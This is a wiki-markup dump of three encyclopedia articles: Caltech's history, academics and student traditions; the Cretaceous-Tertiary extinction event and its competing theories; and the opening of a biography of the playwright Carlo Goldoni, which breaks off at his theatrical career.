The '''California Institute of Technology''' (commonly referred to as '''Caltech''') is a [[private school| private]], [[coeducation]]al university located in [[Pasadena, California|Pasadena]], [[California]], in the [[United States of America|United States]].  One  of the world's premier [[research]] universities, Caltech maintains a strong emphasis on the [[natural sciences]] and [[engineering]].  Caltech also owns and manages the [[Jet Propulsion Laboratory]] (JPL), an autonomous-space-flight complex that oversees the design and operation of most of [[NASA]]'s space-probes.

==History==
Modern Caltech grew from a [[vocational school]] founded in Pasadena in 1891 by local businessman and politician [[Amos G. Throop]].  The school was known successively as ''Throop University'', ''Throop Polytechnic Institute'', and ''Throop College of Technology'', before acquiring its current name in 1920.  Caltech and [[Polytechnic School]] were part of the same institution till 1907.  Polytechnic School is now a private college preparatory school across the street from Caltech.

The driving force behind the transformation of Caltech from a school of [[arts and crafts]] to a world-class scientific center was the vision of astronomer [[George Ellery Hale]].  Hale had joined Throop's board of trustees after coming to Pasadena in [[1907]] as the first director of the [[Mount Wilson Observatory]].  At a time when scientific research in the United States was still in its infancy, Hale saw an opportunity to create in Pasadena an institution for serious research and education in engineering and the natural sciences.  Hale succeeded in attracting private gifts of land and money that allowed him to endow the school with well-equipped, modern [[laboratory]] facilities.   He then convinced two of the leading American scientists of the time, [[physical chemistry|physical chemist]] [[Arthur Amos Noyes]] and experimental [[physics|physicist]] [[Robert Andrews Millikan]], to join Caltech's [[Faculty (university)|faculty]] and contribute to the project of establishing it as a center for [[science]] and [[technology]].

In 1917 Hale hired architect [[Bertram Goodhue]] to produce a master plan for the 22 acre (89,000 m&amp;sup2;) campus.  Goodhue conceived of the overall layout of the campus and designed the Physics Building, Dabney Hall, and several other structures, in which he sought to be consistent with the local climate, the character of the school, and Hale's educational philosophy.  Goodhue's designs for Caltech were also influenced by the traditional Spanish [[Architecture of the California Missions|mission architecture]] of Southern California.

[[Image:Millikan Library, Caltech.jpg|thumb|Millikan Library, the tallest building on campus]]

Under the leadership of Hale, Noyes, and Millikan (and aided by the booming economy of [[Southern California]]), Caltech grew very significantly in prestige in the 1920s.  In 1923, Millikan was awarded the [[Nobel Prize]] for physics.  In [[1925]] the school established a department of [[geology]] and hired [[William Bennett Munro]], then chairman of the division of History, Government, and Economics at [[Harvard University]], to create a division of [[humanities]] and [[social sciences]] at Caltech.  In 1928 a division of [[biology]] was established under the leadership of [[Thomas Hunt Morgan]], the most distinguished biologist in the United States and a discoverer of the role of genes and the [[chromosome]] in heredity. In 1926 a graduate school of [[aeronautics]] was created which eventually attracted [[Theodore von Kármán]], who later contributed to the creation of the Jet Propulsion Laboratory and who established Caltech as one of the foremost centers for [[rocket|rocket-science]].  In 1928 construction began on the [[Palomar Observatory]].

Millikan served as &quot;chairman of the executive council&quot; (effectively Caltech's president) from 1921 to 1945, and his influence was such that the Institute was occasionally referred to as &quot;Millikan's School.&quot;  In the 1950s, 1960s, and 1970s, Caltech was known as the home of arguably the two greatest theoretical [[elementary particle|particle physicists]] working at the time:  [[Murray Gell-Mann]] and [[Richard Feynman]].  Both Gell-Mann and Feynman received Nobel Prizes for their work, which was central to the establishment of the so-called &quot;[[Standard Model]]&quot; of particle physics.  Feynman was also widely known outside the physics community as an exceptional teacher and a colorful, unconventional character.

Caltech remains, to this day, a relatively small university, with approximately 900 [[undergraduate]]s, 1300 [[graduate student]]s, and 900 faculty members (including 378 [[professor]]s, 54 permanent research faculty, and 545 [[postdoctoral researcher]]s.) It is a private institution, governed by its [[Caltech Trustees|Board of Trustees]].

As of [[2005]], Caltech claims 31 [[Nobel Prize|Nobel laureates]] to its name.  This figure includes 17 alumni, 14 non-alumni professors, and 4 professors who were also alumni ([[Carl D. Anderson]], [[Linus Pauling]], [[William A. Fowler]], and [[Edward B. Lewis]]).  The number of awards is 32, because Pauling received the prize in both [[chemistry]] and [[peace]].  With fewer than 25,000 alumni in total, nearly one in a thousand Techers have received the Nobel Prize &amp;mdash; a ratio unmatched by any other university.  Five faculty and alumni have received a [[Crafoord Prize]] from the [[Royal Swedish Academy of Sciences]], while 47 have been awarded the U.S. [[National Medal of Science]], and 10 have received the [[National Medal of Technology]] [http://www.caltech.edu/at-a-glance/].  Other distinguished researchers have been affiliated with Caltech as postdoctoral scholars (e.g., [[Barbara McClintock]], [[James D. Watson]], and [[Sheldon Glashow]]) or visiting professors (e.g. [[Albert Einstein]] and [[Edward Witten]]).

The movie comedy ''[[Real Genius (movie)|Real Genius]]'' and the CBS crime drama ''[[Numb3rs]]'' are loosely based on events at Caltech.  [http://alumnus.caltech.edu/~erich/real_genius_refs.html]

Caltech is ranked the seventh best university in the nation by U.S. News and World Report, and is tied for this spot with the [[Massachusetts Institute of Technology]].

The Spitzer Science Center (SSC), located on the Caltech campus, is the data analysis and community support center for [[NASA]]'s [[Spitzer Space Telescope]].  The SSC is part of the [[Infrared Processing and Analysis Center (IPAC)]] and works in collaboration with the [[Jet Propulsion Laboratory]] (JPL).

==Academics==

Academics at Caltech are famously hard, and the analogy of drinking water from a firehose is often applied.  Life is sometimes described by the aphorism, &quot;Work, sleep, social life: pick two,&quot; pointing to the great amount of academic work.  While Caltech is most famous for its physics department, it has strived particularly to improve its facilities in the life sciences.  Caltech is also known for interdisciplinary programs such as the Computation and Neural Systems (CNS) program.

===Academic departments===

Caltech is divided into six divisions, each of which offer several degree programs, as well as a number of interdisciplinary programs.

* '''Division of [[Biology]]'''
* '''Division of [[Chemistry]] and [[Chemical Engineering]]'''
** Chemistry
** Chemical Engineering
* '''Division of [[Engineering]] and Applied Science'''
** [[Aeronautics]] (GALCIT)
** [[Applied mathematics|Applied &amp; Computational Mathematics]]
** Applied [[Mechanics]]
** [[Civil Engineering]]
** [[Computer Science]]
** [[Electrical Engineering]]
** [[Materials Science]]
** [[Mechanical Engineering]]
* '''Division of [[Geology|Geological]] and [[Planetary science|Planetary]] Sciences'''
** Geology
** Geobiology
** [[Geophysics]]
** [[Planetary science]]
* '''Division of [[Humanities]] and [[Social Sciences]]
** Humanities
*** [[History]]
*** [[English language]]
*** [[History of science|History]] and [[Philosophy of science|Philosophy of Science]]
** Social Sciences
*** [[Economics]]
*** Business Economics and [[Management]]
*** Social science
* '''Division of [[Physics]], [[Mathematics]], and [[Astronomy]]
** Physics
** Mathematics
** Astronomy
* [[Applied Physics]]
* [[Biochemistry]]
* [[Bioengineering]]
* [[Biophysics]]
* Computation &amp; Neural Systems
* [[Control theory|Control]] &amp; [[Dynamical system|Dynamical Systems]]
* [[Environmental Science]] &amp; Engineering
* [[Geobiology]] &amp; [[Astrobiology]]
* [[Geochemistry]]
* [[Planetary science]]

Not all of these are offered for both undergraduate and graduate students.

===Undergraduate program===

Caltech is on the [[academic term|quarter system]], meaning that students have one quarter before winter break and two quarters after.  Thus, the college starts relatively late, in late September, and ends in early June rather than May like most colleges.  Also, Caltech is unusual in that students normally take five classes every term rather than four as at most colleges.  Instead of majors Caltech has &quot;options&quot; while offering only one minor in Control and Dynamical Systems (CDS).  Approximately 10% of students double-major in two options. This is achievable since the humanities and social sciences majors have been designed to be done in conjunction with a science major. Although double-majoring in two options in the same division is technically discouraged, it is still possible although those who seek to do so usually need to be exceptionally bright. The double major of math and physics is generally thought to be so hard that it is comically referred to as the plan of naive freshmen who do not yet understand the difficulty of Caltech academics.

Caltech is known for a rigorous math and science [[core curriculum]].  Students are expected to take five quarters of core math, including [[differential equations]] and [[probability]] and [[statistics]], five quarters of core physics including [[quantum mechanics]], [[special relativity]], and [[statistical mechanics]], two quarters of chemistry, and a quarter of biology, as well as two quarters of laboratory classes.

Despite the high pressure of academics, few students fail classes or fail out of the school as a whole, although the option of transferring out is a running joke.  This is due to several cushions that help students survive.  First of all, the first two quarters during freshman year are on a pass/fail grading scheme, easing the transition to college.  During the second quarter, &quot;shadow grades&quot; are given, but during the first, there are no grades at all.  Second, there is little competition and collaboration on [[homework]] is encouraged (and often necessary for success) in almost every class.  This allows even students who are not doing as well as others to learn the material and not get behind in their studies.  In addition, students often request extensions on homework due dates and use many other strategies to help learn the material and handle the stress of Caltech life.

Caltech usually has the lowest four-year graduation rate among the leading US universities.  This is despite the fact that entering students have consistently higher average test scores ([[SAT]] 1 and 2) than any other school in the major [[college and university rankings|college rankings]]. Reasons for this include the fact that Caltech does not believe in grade inflation and has a smaller percentage of students who graduate with honors than in the Ivy League. So, Caltech does not rush students through and try to inflate student egos in hopes of greater alumni donations down the road. And of course, its Core is required for all majors.  Consequently, Caltech's graduation rates are comparatively low. Of greater note, in 2005, Princeton Review rated Caltech #1 for Worst Teaching. This statistic comes from polls of students in universities across the nation. While this rating was distressing to the administration, it was not particularly surprising to undergraduates who often feel abandoned in the classroom in favor of the professor's research. Caltech students do encounter good classes with wonderful professors. The required courses are often taught by distinguished researchers who are not necessarily good teachers.  However, the situation has improved greatly over the last few decades and many more students now graduate (&gt;85% yield) than in previous years (when a third of the entering freshmen either transferred or flunked out).

Undergraduates at Caltech are also encouraged to participate in [[research]].  Most students do research through the annual [http://surf.caltech.edu/ Summer Undergraduate Research Fellowships (SURF)] program at least once during their stay, and many continue it during the school year.  Students write and submit SURF proposals for research projects in collaboration with professors, and about 70% of applicants are awarded SURFs.  The program is open to both Caltech and non-Caltech undergraduate students.  It serves as good preparation for graduate school and helps to explain why Caltech has the highest percentage of alumni who go on to receive a Phd of all the major universities.

==Student life==

===House system===
''See main article: [[House System at Caltech]]''

During the early [[20th century]], a Caltech committee visited several universities and decided to transform the [[undergraduate]] housing system from regular [[fraternities and sororities|fraternities]] to a [[House System]], similar to the [[residential college|residential college system]] of [[University of Oxford|Oxford]] and [[University of Cambridge|Cambridge]]. Four south houses (or ''hovses'', so named for the inscription on the gates thereof) were built: Blacker House, Dabney House, Fleming House, and Ricketts House. In the [[1960s]], three north houses were built: Lloyd House, Page House, and Ruddock House. During the [[1990s]], an additional house, [[Avery House]], was built to accommodate those who feel the original seven houses were not suitable for them. Some students jocularly refer to the Undergraduate Computer Science Laboratory as another house, as a few spend most of their time there.  The four south houses will be closed for renovation from [[2005]] to [[2007]].

=== Traditions===
[[Image:Beckman auditorium, Caltech.jpg|thumb|Beckman Auditorium]]
There are many annual [[tradition]]s at Caltech, demonstrating the weird and wonderful creativity of its inhabitants. Every [[Halloween]] Dabney House stages a [[pumpkin]] drop from the top of the Millikan Library, the highest point on campus. According to tradition, a claim was once made that the shattering of a pumpkin frozen in [[liquid nitrogen]] and dropped from a sufficient height would produce a spark. This yearly leads onlookers to try to spot the elusive spark. 

There is also the annual Ditch Day, for which seniors ditch school, leaving behind elaborately designed tasks and traps at the doors of their rooms to prevent underclassmen from entering. This has evolved to the point where many seniors spend months designing mechanical, electrical, and software obstacles in order to confound the underclassmen.  Each group of seniors designs a &quot;stack&quot; to be solved by handful of underclassmen. A series of clues, which leads to the solution of the puzzle, is left around campus to lead the students to their final reward, which lies within the sealed room. The faculty has been drawn into the event as well, and cancel all classes on Ditch Day so that the underclassmen can participate in what has become a highlight of the year.

Another tradition is the playing of the ''[[Ride of the Valkyries]]'' at 7 AM each morning during finals week with the largest, loudest speakers available. The playing of that piece is not allowed at any other time, and any offender is dragged into the showers to be drenched in cold water fully dressed. The playing of the ''Ride'' is such a strong tradition that when the music was used during [[Apollo 17]] to awaken Astronaut [[Harrison Schmitt]], the only astronaut-scientist to explore the moon, he became extremely stressed in the same manner as a student during finals week.

====Pranks====
[[Image:Caltech hollywood sign.jpg|thumb|right|Caltech Hollywood sign prank]]
Caltech students have been known for the many [[practical joke|prank]]s (also known as '''[[RF (practical joke)|RF]]'s''') they have pulled off in the area. The two most famous are the changing of the [[Hollywood]] sign to read Caltech, by judiciously covering up certain parts of the letters, and the changing of the [[Rose Bowl (stadium)|Rose Bowl]] scoreboard to an imaginary game where Caltech soundly trounced [[Massachusetts Institute of Technology|MIT]].  During the 1961 [[Rose Bowl Game#Trivia|Rose Bowl Game]], Caltech students altered the flip-cards that were raised by the stadium attendees to display &quot;Caltech&quot;.

Recently, a group of Caltech students, during the admitted students program at MIT in 2005, pulled a [http://www.caltechvsmit.com/ string of pranks], including covering up the word Massachusetts in the &quot;Massachusetts Institute of Technology&quot; engraving on the main building façade with a banner so that it read &quot;That Other Institute of Technology&quot;.  A group of MIT hackers retaliated by altering the banner so that the inscription read &quot;The Only Institute of Technology&quot;.

====Honor Code====
Life in the Caltech community is governed by the [[honor code|Honor Code]], which states simply: &quot;No member of the Caltech community shall take unfair advantage of any other member of the Caltech community.&quot; This is enforced by a Board of Control, which consists of undergraduate students[http://donut.caltech.edu/about/boc/ug_handbook.php], and by a similar body at the graduate level, called the Graduate Review Board [http://www.its.caltech.edu/~grb/].  The Honor Code, and the atmosphere of respect and trust that it promotes, allows Caltech students to enjoy privileges that make for a more relaxed atmosphere.  For example, the Honor Code allows the professors to trust students sufficiently to give them take-home tests.  Almost all Caltech tests are take-home, allowing students to take them on their own schedule and in their preferred environment.

The only exception to the Honor Code, implemented in 1990s in response to changes in federal regulations, concerns Sexual Harrassment Policy.

==Presidents of Caltech==
Since Throop College of Technology became Caltech in 1920, it has been led by the following individuals:

* [[Robert A. Millikan]], [[1921]]&amp;ndash;[[1945]], experimental physicist, Nobel laureate in physics for 1923 (his official title was &quot;Chairman of the Executive Council&quot;)
* [[Lee A. DuBridge]], [[1946]]&amp;ndash;[[1969]], experimental physicist (first to officially hold the title of President)
* [[Harold Brown (Secretary of Defense)|Harold Brown]], [[1969]]&amp;ndash;[[1977]], physicist and public servant (left Caltech to serve as [[United States Secretary of Defense]] in the administration of [[Jimmy Carter]])
* [[Robert F. Christy]], [[1977]]&amp;ndash;[[1978]], astrophysicist (acting President)
* [[Marvin L. Goldberger]], [[1978]]&amp;ndash;[[1987]], theoretical physicist
* [[Thomas E. Everhart]], [[1987]]&amp;ndash;[[1997]], experimental physicist
* [[David Baltimore]], [[1997]]&amp;ndash; , biologist, Nobel laureate in physiology or medicine for 1975 (has announced his upcoming departure)

==See also==
*[[List of California Institute of Technology people]]

==External links==
*[http://www.caltech.edu/ Official site]
*[http://today.caltech.edu Caltech's online news site]
*[http://nobelprize.org/medicine/articles/goodstein/ History of Caltech] (at the official Nobel Prize website) 
*[http://www.ugcs.caltech.edu Undergraduate Computer Science Laboratory]
*[http://pr.caltech.edu/events/caltech_nobel/ Caltech Nobel Laureate Biographies]
*[http://www.cripplingdepression.com/ ''Crippling Depression''] &amp;mdash; a satirical comic strip serialized in ''California Tech'', the Caltech student newspaper
*[http://www.museumofhoaxes.com/pranks/rosebowl.html The Great Rose Bowl Hoax]
*[http://donut.caltech.edu/about/boc/ug_handbook.php Honor Code]
*Ditch Days: [http://pr.caltech.edu/events/ditchday/2000/ 2000], [http://pr.caltech.edu/events/ditchday/2001/ 2001], [http://pr.caltech.edu/events/ditchday/2002/ 2002], [http://pr.caltech.edu/events/ditchday/2003/ 2003], [http://pr.caltech.edu/events/ditchday/2004/ 2004], [http://pr.caltech.edu/events/ditchday/2005/ 2005]
{{Mapit-US-buildingscale|34.138577|-118.125494}}
*[http://alumnus.caltech.edu/~erich/real_genius_refs.html List of references to Caltech in the film '''Real Genius''']

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  <page>
    <title>Cretaceous-Tertiary extinction event</title>
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      <comment>Reverted edits by [[Special:Contributions/64.13.73.140|64.13.73.140]] ([[User talk:64.13.73.140|talk]]) to last version by Phr</comment>
      <text xml:space="preserve">[[Image:KT boundary 054.jpg|thumb|right|300px|Badlands near [[Drumheller, Alberta]] where erosion has exposed the KT boundary.]]
The '''Cretaceous-Tertiary extinction event''' was a period of massive [[extinction event|extinction of species]], about 65.5 [[geologic timescale|million years ago]]. It corresponds to the end of the [[Cretaceous]] [[Geologic period|Period]] and the beginning of the [[Tertiary]] Period.

The duration of this extinction event (like others) is unknown. Many forms of life perished (embracing approximately 50% of all [[genus|genera]]), the most often mentioned among them being the non-[[avian]] [[dinosaur]]s. Many explanations for this event have been proposed, the most widely-accepted being the results of an [[impact event|impact on the Earth]] of an object from space.

It is also known as the '''K-T''' (or '''KT''') '''extinction event''' or as the '''KT boundary''':  K is the traditional abbreviation for the Cretaceous period. Cretaceous comes from the Latin for chalk, ''creta''. The K comes from the German word for chalk ''kreide'', or possibly Greek ''kreta''. The K is used so as to avoid confusion with the [[Carboniferous]] period which uses the letter C.

==Casualties of the extinction==
[[Image:Extinction Intensity.png|thumb|right|300px|The KT extinction event, labeled here as &quot;End K&quot;, is shown in comparison to the impact of other events on the extinction intensity for marine fossilerferous [[genus|genera]].]]

A wide range of [[organism]]s became extinct at the end of the Cretaceous period. The most conspicuous, of course, were the dinosaurs. While there is evidence that dinosaur [[Biodiversity|diversity]] declined in the Late Cretaceous of [[North America]], many species are known from the [[Hell Creek]] and [[Lance Formation]]s of the Late Cretaceous. These include six or seven [[Family (biology)|families]] of [[theropoda|theropods]] and a similar number of [[ornithischia|ornithischians]]. Among the Dinosauria, the only survivors were the [[bird]]s, but birds suffered heavy losses. A number of diverse groups became extinct, including the [[Enantiornithes]] and [[Hesperornithiformes]]; the last of the pterosaurs also went extinct. A number of mammal groups also became extinct. In the sea, many species of [[phytoplankton]] were wiped out. The great sea [[reptile]]s of the Cretaceous, the [[mosasaur|mosasaurs]] and [[plesiosaur|plesiosaurs]], also fell victim to extinction. Among [[mollusk]]s, the [[ammonite]]s, a diverse group of coiled [[cephalopod]]s, were exterminated, as were
the specialized [[rudist]] and [[inoceramid]] [[clam]]s. Freshwater [[mussel]]s and [[snail]]s also suffered heavy losses in North America. Much less is known about how the K-T event affected the rest of the world. It should be emphasized that the survival of a group does not mean that the group was unaffected: a species may be 99% annihilated by an [[asteroid]] strike, yet still manage to survive.

Darkness from an impact-generated dust cloud (Alvarez et al. 1980) may have been supplemented by associated gases.

Darkness resulted in loss of [[photosynthesis]] both on land and in the oceans.  On land preferential survival may be closely tied to animals that were not in [[food chain]]s directly dependent on plants. Dinosaurs (both [[herbivores]] and [[carnivores]]) were in plant-eating food chains.

Mammals of the Late Cretaceous were not herbivores.  Many mammals fed on [[insect]]s, [[larva]]e, [[worm]]s, snails etc., which in turn fed on dead plant matter. During the crisis when green plants disappeared, mammals may have survived, because they lived in “[[Detritus (biology)|detritus]]-based” food chains.  Soon after the K/T extinction the mammals radiated into plant-eating lifestyles, and were soon followed by other mammals that became carnivores.

In [[stream]] [[Biocoenosis|communities]] few groups of animals became extinct.  Stream communities tend to be less reliant on food from living plants and are more dependent on detritus that washes in from land.  The stream communities may also have been buffered from extinction by their reliance on detritus-based food chains.  (See Sheehan and Fastovsky, Geology, v. 20, p. 556-560.)  Similar, but more complex patterns have been found in the oceans.  For example, animals living in the [[water column]] are almost entirely dependent on [[primary production]] from living phytoplankton.  Many animals living on or in the [[ocean floor]] feed on detritus, or at least can switch to detritus feeding.  Extinction was more severe among those animals living in the water column than among animals living on or in the sea floor.

==Theories==
===Alvarez hypothesis===
In 1980, a team of researchers led by Nobel-prize-winning physicist [[Luis Alvarez]], his son, geologist [[Walter Alvarez]], and a group of colleagues discovered that fossilized sedimentary layers found all over the world at the Cretaceous-Tertiary boundary, 65.5 million years ago contain a [[concentration]] of [[iridium]] hundreds of times greater than normal. The end of the Cretaceous coincided with the end of the dinosaurs. It was in general a period of extraordinary mass extinction, leading to the Tertiary Period of the [[Cenozoic Era]], in which mammals came to dominate on Earth. The paper suggested that the dinosaurs had been killed off by the impact of a ten-kilometer-wide [[asteroid]] on Earth (see [[impact event]]). Two facts supporting this conclusion are that
* iridium is relatively abundant in many asteroids, and
* the [[isotope|isotopic]] composition of iridium in K-T layers resembles that of asteroids more closely than that of terrestrial iridium.

Iridium is very rare on Earth's surface, but much more common in the Earth's interior as well as in extraterrestrial objects, such as asteroids and [[comet]]s. Furthermore, [[chromium]] isotopic anomalies are found in Cretaceous-Tertiary boundary sediments which strongly supports the impact theory and suggests that the impactor must have been an asteroid or a comet composed of material similar to [[carbonaceous chondrite]]s.

The resulting blast would have been hundreds of millions of times more devastating than the most powerful nuclear weapon ever detonated, may have created a hurricane of unimaginable fury, and certainly would have thrown massive amounts of dust and vapor into the upper atmosphere and even into space.

A global firestorm may have resulted as the incendiary fragments from the blast fell back to Earth. Analyses of [[fluid inclusions]] in ancient [[amber]] suggest that the [[oxygen]] content of the atmosphere was very high (30 - 35%) during the late Cretaceous [http://minerals.cr.usgs.gov/gips/na/0amber.htm#amber]. This high O&lt;sub&gt;2&lt;/sub&gt; atmospheric content would have supported massive combustion. The level of atmospheric O&lt;sub&gt;2&lt;/sub&gt; plummeted in the early Tertiary.

In addition, the worldwide cloud would have choked off sunlight for months, resulting in a darkness that prevented photosynthesis and depleting food resources. During this interval of reduced sunlight a &quot;long winter&quot; may have also been involved in the extinction. Gradually skies cleared but greenhouse gases from the impact caused an increase in temperature for many years.

The impact target rocks also produced [[acid rain]]s that would have inflicted further hardship on the environment, but recent work suggests this was relatively minor.  Chemical buffers would have reduced the effect, and survival of animals prone to acid rain damage (such as [[frog]]s) indicate this was not a major contributor to extinction (see Kring, D.A. GSA Today v. 10, no.8). 

Although further studies of the K-T layer consistently showed the excess of iridium, the idea that the dinosaurs were exterminated by an asteroid remained a matter of controversy among [[geologist]]s and [[paleontologist]]s for over a decade.

===Chicxulub crater===
''Main article:'' [[Chicxulub Crater]]

[[Image:Chicxulub radar topography.jpg|thumb|200px|Radar topography reveals the 180 kilometer (112 mile) wide ring of the crater (image courtesy NASA/JPL-Caltech)]]
One problem with the &quot;Alvarez hypothesis&quot; (as it came to be known) was that no documented crater matched the event. This was not a lethal blow to the theory; although the crater resulting from the impact would have been 150 to 200 kilometers in diameter, Earth's geological processes tend to hide or destroy craters over time. The discovery by Alan R. Hildebrand and Glen Penfield of a crater buried under [[Chicxulub, Yucatán|Chicxulub]] in the [[Yucatan]] as well as various types of debris in North America and [[Haiti]] have lent credibility to this theory (see [[Chicxulub Crater]]). Most paleontologists now agree that an asteroid did hit the Earth 65 million years ago, but many dispute whether the impact was the sole cause of the extinctions. The age of the Chicxulub crater has been revised to approximately 300ky before the K-T boundary. This dating is based on evidence collected in NE Mexico, detailing multiple stratigraphic layers containing impact spherules, the earliest of which occurs some 10 meters below the K-T boundary. This chronostratigraphic thickness is thought to represent 300ky. This finding supports the theory that one or many impacts were contributary, but not causal, to the K-T boundary mass extinction.

===Deccan traps===
''Main article:'' [[Deccan Traps]]

Several paleontologists remained skeptical about the impact theory, as their reading of the [[fossil]] record suggested that the mass extinctions did not take place over a period as short as a few years, but instead occurred gradually over about ten million years, a time frame more consistent with longer term events such as massive volcanism.  Several scientists think the extensive [[volcanic]] activity in [[India]] known as the Deccan Traps may have been responsible for, or contributed to, the extinction. A partial reason for the rejection of the impact theory may have been a certain general distrust of a group of [[physicist]]s intruding into the paleontologists' domain of expertise.

Luis Alvarez, who died in [[1988]], replied that paleontologists were being misled by sparse data. His assertion did not go over well at first, but later intensive field studies of fossil beds lent weight to his claim. Eventually, most paleontologists began to accept the idea that the mass extinctions at the end of the Cretaceous were largely or at least partly due to a massive Earth impact. However, even Walter Alvarez has acknowledged that there were other major changes on Earth even before the impact, such as a drop in [[sea level]] and massive volcanic eruptions in India (Deccan Traps sequence), and these may have contributed to the extinctions.

A very large crater has been recently reported in the sea floor off the west coast of India [http://gsa.confex.com/gsa/2003AM/finalprogram/abstract_58126.htm 2]. This, the [[Shiva crater]] (450/600 km diam.), has also been dated at about 65 million years at the K-T boundary. The researchers suggest that the impact may have been the triggering event for the Deccan Traps. However, this feature has not yet been accepted by the geologic community as an impact crater and may just be a sinkhole depression caused by salt withdrawal.
[http://www.spacedaily.com/news/deepimpact-04r.html].

===Multiple impact event===

Several other craters also appear to have been formed at the K-T boundary. This suggests the possibility of near simultaneous multiple impacts from perhaps a fragmented asteroidal object, similar to the [[Shoemaker-Levy 9]] cometary impact with [[Jupiter (planet)|Jupiter]].

*[[Boltysh crater]] (24 km diam., 65.17 ± 0.64 Ma old) in [[Ukraine]]
*[[Silverpit crater]] (20 km diam., 60-65 Ma old) in the [[North Sea]]
*[[Eagle Butte crater]] (10 km diam., &lt; 65 Ma old) in [[Alberta, Canada]]
*[[Vista Alegre crater]] (9.5 km diam., &lt; 65 Ma old) in [[Paraná State]], [[Brazil]]

Note: Ma means million years.

===Supernova hypothesis===
Another proposed cause for the K-T extinction event was cosmic radiation from a relatively nearby [[supernova]] explosion. The iridium anomaly at the boundary could support this hypothesis. The fallout from a supernova explosion should contain the [[plutonium]] isotope Pu-244, the longest-lived plutonium isotope ([[half-life]] 81 [[Myr]]), that is not found in earth rocks. However, analysis of the boundary layer sediments revealed the absence of Pu-244, thus essentially disproving this hypothesis.

==Further skepticism==
Although there is now general agreement that there was at least one huge impact at the end of the Cretaceous that led to the iridium enrichment of the K-T boundary layer, it is difficult to directly connect this to mass extinction, and in fact there is no clear linkage between an impact and any other incident of mass extinction, although research on other events also implicates impacts.

One interesting note about the K-T event is that most of the larger animals that survived were to some degree [[aquatic]], implying that aquatic habitats may have remained more hospitable than land habitats.

The impact and volcanic theories can be labeled &quot;fast extinction&quot; theories. There are also a number of slow extinction theories.  Studies of the diversity and population of species have shown that the dinosaurs were in decline for a period of about 10 million years before the asteroid hit. (A study by Fastovsky &amp; Sheehan (1995) counters that there is no evidence for a slow, 10 Myr decline of dinosaurs.)   Slower mechanisms are needed to explain slow extinctions. [[Climatic change]], a change in Earth's [[magnetic field]], and disease have all been suggested as possible slow extinction theories. As mentioned above, extensive volcanism such as the [[Deccan Traps]] could have been a long term event lasting millions of years, although it is short in geologic terms.

References:
Favstovsky, D.E., and Sheehan, P.M.(2005) The extinction of the dinosaurs in North America.  GSA Today, v. 15, no. 3, p. 4-10.

==Other mass extinctions==
It is worth noting that the Cretaceous extinction is neither the only mass extinction in Earth's history, nor even the worst. Previous [[extinction event]]s have included the [[Cambrian-Ordovician extinction events | Cambrian-Ordovician extinction]], [[Ordovician-Silurian extinction events | End Ordovician]], [[Triassic-Jurassic extinction events | Triassic-Jurassic]], [[Late Devonian extinction | Late Devonian]], and the [[Permian-Triassic extinction event | Permian-Triassic]], which is the largest extinction event ever recorded.

== References and external links ==
{{commons|Category:K/T Event}}
*[http://www.lpl.arizona.edu/SIC/impact_cratering/Chicxulub/Chicx_title.html Understanding the K-T Boundary] - NASA-related website
*[http://gsa.confex.com/gsa/2003AM/finalprogram/abstract_58126.htm Shiva crater: Chatterjee et al. 2002 ''Volcanism, India-Seychelles Rifting, Dinosaur Extinction, and Petroleum Entrapment at the KT Boundary'' (GSA abstract)]
*[http://www.unb.ca/passc/ImpactDatabase/CIDiameterSort.html List of 172+ impact craters in ''Earth Impact Database'' with Crater name, Diameter, Age, Country, Latitude, Longitude, etc.]
*[http://minerals.cr.usgs.gov/gips/na/0amber.htm#amber Air bubbles, amber, and dinosaurs]
*[http://www.unb.ca/passc/ImpactDatabase/CIDiameterSort.html Earth Impact Database]
*[http://www.bbc.co.uk/radio4/history/inourtime/inourtime_20050623.shtml &quot;The KT Boundary&quot;] - BBC Radio 4 Broadcast, ''In Our Time'', 23rd June 2005 - hosted by Melvyn Bragg (duration: approximately 45 minutes)

[[Category:Extinction events]]
[[Category:KT boundary]]

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    <title>Carlo Goldoni</title>
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      <comment>dramatist --&gt; playwright</comment>
      <text xml:space="preserve">[[image:Carlo_Goldoni.jpg|right|thumb|Carlo Goldoni]]
'''Carlo Osvaldo Goldoni''' ([[February 25]], [[1707]] - [[February 6]], [[1793]]) was an [[Italy|Italian]] [[playwright]] and one of the most famous Italian writers of the period. Along with [[Pirandello]], Goldoni is probably the most famous name in Italian theatre, in his country and abroad. His work is most admired for its ingenius mix of wit and honesty.

==Biography==
===Memoirs===
There is an abundance of autobiographical information on Goldoni, most of which comes from the introductions to his plays and from his ''Memoirs''.  However, these memoirs are known to contain many errors of fact, especially about his earlier years.

In these memoirs, he paints himself as a born comedian, careless, light-hearted and with a happy temperament, proof against all strokes of fate, yet thoroughly respectable and honorable. Such characters were common enough in Italy.

===Early life and studies===
Goldoni was born in [[Venice]] in 1707, the son of [[Margherita Goldoni|Margherita]] and [[Giulio Goldoni]]. In his memoirs, Goldoni describes his father as a [[physician]], and claims that he was introduced to theatre by his  grandfather [[Carlo Alessandro Goldoni|Carlo Alessandro]]. In reality, it seems that Giulio was only an [[apothecary]], and he was born four years after his granfather's death. In any case, Goldoni was deeply interested in theatre since his earliest years, and all attempts to direct his activity into other channels were of no avail: his toys were puppets and his books, plays.

His father placed him under the care of the philosopher Caldini at [[Rimini]] but the youth soon ran away with a company of strolling players and came to Venice. In 1723 his father matriculated him into the stern [[Collegio Ghislieri]] in [[Pavia]], which imposed the [[tonsure]] and [[monk|monastic habits]] on its students. However, he relates in his ''Memoirs'' that a considerable part of his time was spent in reading [[Greek language|Greek]] and [[Latin]] comedies. He had already begun writing at this time; and, in his third year, he composed a [[libel|libellous]] poem (''Il colosso'') in which he ridiculed the daughters of certain Pavian families. As a result of that incident (and/or of a visit paid with some schoolmates to a local brothel) he was expelled from the school and had to leave the city (1725). He studied law at [[Udine]], and eventually took his degree at [[Modena]]. He was employed as law clerk at [[Chioggia]] and [[Feltre]], after which he returned to his native city and began practicing.

Educated as a lawyer, and holding lucrative positions as secretary and councillor, he seemed, indeed, at one time to have settled down to the practice of law, but an unexpected summons to Venice, after an absence of several years, he changed his career, and thenceforth he devoted himself to writing plays and managing theatres. His father died in 1731. In 1732, to avoid an unwanted marriage, he left the town for [[Milan]] and then for [[Verona]], where the theatre manager Giuseppe Imer helped him on his way to becoming a comical poet as well as introducing him to his future wife, Nicoletta Conio. Goldoni returned with her to Venice, where he stayed until 1743.

===Theatrical career===
